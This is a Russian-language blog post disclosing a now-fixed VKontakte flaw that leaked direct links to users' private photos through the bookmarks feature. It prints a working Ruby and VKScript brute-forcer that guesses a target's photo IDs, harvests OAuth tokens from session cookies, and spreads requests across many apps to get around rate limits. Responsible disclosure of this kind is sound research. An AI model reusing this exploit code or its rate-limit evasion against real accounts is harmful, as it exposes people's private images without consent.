Pull to refresh

Уязвимость «ВКонтакте» позволяла получить прямые ссылки на приватные фотографии

Reading time 8 min
Views 314K


tl;dr
Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут — все фото, загруженные на прошлой неделе, за 20 минут — прошлый месяц, за 2 часа — прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.

История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:



При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео — это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:



Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX, которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК


Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число). Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом:



Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии


Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя.

Ускоряем перебор x25


Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute. В одном вызове этого метода возможно 25 обращений к методам API.

var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
  API.fave.addLink({ "link": link + start });
  start = start + 1;
};

Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду


Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

class StandaloneAppsFinder
  attr_reader :app_ids

  def initialize(params)
    @range = params[:in_range]
    @app_ids = []
  end

  def search
    (@range).each do |app_id|
      response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
      app = JSON.parse(response)['response']
      app_ids << app_id if standalone?(app)
    end
  end

  private

  def standalone?(app_data)
    app_data['type'] == 'standalone'
  end
end

Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Если приложение установило меньше 10 000 человек, то можно совершать 5 запросов в секунду, до 100 000 – 8 запросов, до 1 000 000 – 20 запросов, больше 1 млн. – 35 запросов в секунду.
[Ограничения и рекомендации]

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

class Authenticator
  attr_reader :access_tokens

  def initialize(cookie_header)
    @cookies = { 'Cookie' => cookie_header }
    @access_tokens = []
  end

  def authorize_apps(apps)
    apps.each do |app_id|
      auth_url = extract_auth_url_from(oauth_page(app_id))
      redirect_url = open(auth_url, @cookies).base_uri.to_s
      access_tokens << extract_token_from(redirect_url)
    end
  end

  private

  def extract_auth_url_from(oauth_page_html)
    Nokogiri::HTML(oauth_page_html).css('form').attr('action').value
  end

  def extract_token_from(url)
    URI(url).fragment[13..97]
  end

  def oauth_page(app_id)
    open(oauth_page_url(app_id), @cookies).read
  end

  def oauth_page_url(app_id)
    "https://oauth.vk.com/authorize?" +
    "client_id=#{app_id}&" +
    "response_type=token&" +
    "display=mobile&" +
    "scope=474367"
  end
end

Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus, который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

class PhotosBruteforcer
  PHOTOS_ID_BY_PERIOD = {
    'today' => 366300000..366500000,
    'yesterday' => 366050000..366300000,
    'current_month' => 365000000..366500000,
    'last_month' => 360000000..365000000,
    'current_year' => 350000000..366500000,
    'last_year' => 320000000..350000000
  }

  def initialize(params)
    @victim_id = params[:victim_id]
    @period = PHOTOS_ID_BY_PERIOD[params[:period]]
  end

  def run(tokens)
    hydra = Typhoeus::Hydra.new
    tokensIterator = 0

    (@period).step(25) do |photo_id|
      url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}"
      encoded_url = URI.escape(url).gsub('+', '%2B').delete("\n")

      tokensIterator = tokensIterator == tokens.count - 1 ? 0 : tokensIterator + 1

      hydra.queue Typhoeus::Request.new encoded_url
      hydra.run if tokensIterator.zero?
    end

    hydra.run unless hydra.queued_requests.count.zero?
  end

  private

  def vkscript(photo_id)
    <<-VKScript
    var start = #{photo_id};
    var end = #{photo_id + 25};
    var link = "http://vk.com/photo#{@victim_id}" + "_";
    while(start != end) {
      API.fave.addLink({ "link": link + start });
      start = start + 1;
    };
    return start;
    VKScript
  end
end

Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented.

Окончательная версия скрипта выглядит так:

require 'nokogiri'
require 'open-uri'
require 'typhoeus'
require 'json'

require './standalone_apps_finder'
require './photos_bruteforcer'
require './authenticator'

bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1])

apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search

# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new(
  'p=;' +
  'l=;' +
  'remixsid=;'
)
authenticator.authorize_apps(apps_finder.app_ids)

bruteforcer.run(authenticator.access_tokens)

После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.



Итоги


В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

Период Время (минуты)
Вчера 0.84
Прошлая неделя 6.9
Прошлый месяц 18.3
Прошлый год 121.1
3 последних года 312.5

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости


Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо Bo0oM, который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к голосов.



Целенаправленно исследованием ВК я никогда не занимался, но после такого, почти случайного обнаружения этой уязвимости серьезно начал задумываться о том, чтобы потратить несколько часиков на полноценный аудит этой социальной сети. У «ВКонтакте» нет официальной баг баунти программы, поэтому whitehat ресерчеры обходят этот сайт стороной, а другие, менее «белые» хакеры, просто тихо пользуются ошибками в своих целях, либо продают их. Так что, думаю, ещё парочку подобных уязвимостей в ВК можно найти.

Всем добра!
Tags:
Hubs:
+146
Comments 58
Comments Comments 58

Articles